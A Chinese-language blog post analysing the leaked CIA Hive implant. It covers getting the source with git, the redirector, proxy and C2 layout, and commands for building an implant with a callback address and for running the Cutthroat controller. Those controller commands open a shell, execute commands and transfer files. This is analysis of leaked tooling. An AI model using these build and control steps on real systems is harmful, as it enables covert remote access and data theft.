CIA Hive 测试指南——源代码获取与简要分析
0x00 前言
11 月 9 日维基解密公布一个代号为 Vault8 的文档,包含服务器远程控制工具 Hive 的源代码和开发文档。本文仅站在技术角度,介绍测试方法,简要分析工具特点。
维基解密地址:https://wikileaks.org/vault8/
0x01 简介
本文将要介绍以下内容:
- 源代码获取方法
- 框架流程分析
- 工具具体说明
- 特点分析
0x02 源代码获取
下载地址:https://wikileaks.org/vault8/document/repo_hive/
代码库中的文件创建于在 2013 年 8 月和 2015 年 10 月之间,但工具 Hive 的开发时间应该更早
维基解密以 git 的方式公布该代码,包含以下几个分支:
- armv5
- autotools
- debug
- dhm
- makemods
- master(默认)
- mt6
- polar-0.14.3
- polar-1.1.8
- polar-1.2.11
- polar-1.3.4
- solarisbug
- ubiquiti
下载后发现并不包含相关源代码,需要使用 git 释放源代码
注:这种方式能够减小源代码体积(下载文件大小 95.5MB,实际文件大小 170MB)
1、安装 git
kali2 默认安装,未安装的 Linux 系统使用以下安装命令:
sudo yum install git
Windows 系统下载地址:https://git-for-windows.github.io/
使用如下图
2、常用 git 命令
查看所有分支,当前分支会被星号标示出:
git branch
当前分支为 master,如下图
查看历史版本:
git log
查看 git 状态,能够列出被修改但还未提交的文件:
git status
如下图
切换分支:
git checkout -b (branchname)
由于当前操作并未提交,所以恢复删除的文件使用.即可,命令如下:
git checkout .
成功释放出 master 分支下的代码,如下图
补充切换版本的方法:
查看版本号:
git reflog
切换版本至 polar-1.3.4:
git checkout polar-1.3.4
0x03 框架分析
结合框架图对 Hive 进行分析
原图片来自 \hive\infrastructure\documentation\Hive Operating Environment.odp
我在原图片的基础上做了标记,便于分析,如下图
(1) Client
相当于木马的被控端,通过 hive-patcher 生成
支持以下系统:
- mt-x86
- mt-mips
- mt-mipsel
- mt-ppc
- linux-x86
- sol-x86
- sol-sparc
可使用以下目录的不同版本:
- hive\snapshot_20141217-1052\clientDirectory
- hive\snapshot_20141107-1345\clientDirectory
- hive\snapshot_20141017-1409\clientDirectory
测试使用 hive\snapshot_20141107-1345\clientDirectory
用法如下:
./hive-patcher -a address [-d b_delay] [-i interval] (-k idKey | -K idKeyFile) [-I interface] [-p port] [-t t_delay] [-m OS]
该工具的详细说明可参考用户文档,位于 \hive\documentation\UsersGuide\UsersGuide.odt
, 2.3 (S) Patcher
实例:
./hive-patcher -a 192.168.81.192 -p 4567 -i 3600 -j 5 -m linux-x86 -k "Testing Testing"
生成过程会显示配置信息,如下图
(2) 端口转发
VPS Redirector,第一跳板,实现流量转发功能
详细配置可参考:\hive\infrastructure\documentation\Infrastructure Configuration Guide.odt
, 6 (S//NF) VPS Redirector
(3) 中转服务器
Blot Proxy,第二跳板,实现流量分发功能。使用 OpenVPN 同 VPS Redirector 进行通信,对 Client 的证书进行校验,若证书有效,流量转发至 Honeycomb 服务器,若证书存在问题,流量转发至 CoverServer
详细说明可参考:\hive\infrastructure\documentation\Infrastructure Configuration Guide.odt
, 5 (S//NF) Blot Proxy
需要安装 Blot-4.3 sinnertwin-blot-beastbox-1.3-1
具体功能通过 Switchblade 实现
Switchblade:
通过开源 Web 服务器 Nginx 和 LinuxIP 路由策略实现流量分发
详细配置可参考:\hive\infrastructure\documentation\Switchblade.odt
(4) Server
控制端,分为 CoverServer 和 Honeycomb
CoverServer:提供正常的网页功能,可根据不同端口返回不同的域名信息
详细配置可参考:\hive\infrastructure\documentation\Infrastructure Configuration Guide.odt
, 3 (S//NF) Cover Server
Honeycomb:实际控制端,该部分的详细配置说明缺失,提供给用户操作的界面程序为 Cutthroat
Cutthroat:
相当于木马控制端,发送控制命令
可使用以下目录的不同版本:
- hive\snapshot_20141217-1052\clientDirectory
- hive\snapshot_20141107-1345\clientDirectory
- hive\snapshot_20141017-1409\clientDirectory
启动方式:
./cutthroat hive
如果控制台回显 success,代表加载成功
详细配置可参考:\hive\documentation\UsersGuide\UsersGuide.odt
, 3.4 (U) Command and Control Client
使用版本 snapshot_20141217-1052\clientDirectory
会报错,返回
./hive: undefined symbol: debug_print_buffer
[local failure] Failed to load hive [load]
如下图
换另一个测试版本 snapshot_20141107-1345/ctDirectory
返回
[success] Successfully loaded hive [load]
如下图
按下 Tab
键能够获得可用的命令
通信上分为两种模式:
主动连接:
ilm connect <triggerFileName>
用于主动连接服务器上的后门
被动连接:
ilm listen <port>
当成功与 Client 建立连接后,支持如下操作:
- cmd exec
- file put
- file get
- ilm exit
- quit
- shutdown now
- shell open
0x04 其他工具
1、hiveReset_v1_0.py
位于 \hive\ilm-client\resetTimer_v1.0\delivery_1Oct2012
用于更新木马客户端
2、Chimay-Red
未公开
针对 MikroTik MIPS RouterOS 6.x 的远程利用工具,能够远程植入 Hive
相关说明:https://wikileaks.org/ciav7p1/cms/page_16384604.html
3、Mealybug
未公开
针对 AVTech Network Video Recorders 的远程利用工具,能够远程植入 Hive
0x05 综合分析
对于维基解密这次公布的 Vault8 文档,不包含漏洞利用工具和相关 POC
Hive 作为一款远程控制工具,支持多个操作系统,包括 Windows(Server 2003)、Linux(x86/x64)、Solaris(sparc/x86)、MikroTik(MIPS/PowerPC/Intelx86)、Ubiquiti (MIPS) 和 AVTech NVRs(AVTech ARM)
在隐蔽性上下足了功夫,通过流量分发的方式隐蔽实际的控制服务器地址,使用伪造的卡巴斯基实验室证书进行通信
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

下一篇: Covenant 利用分析
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论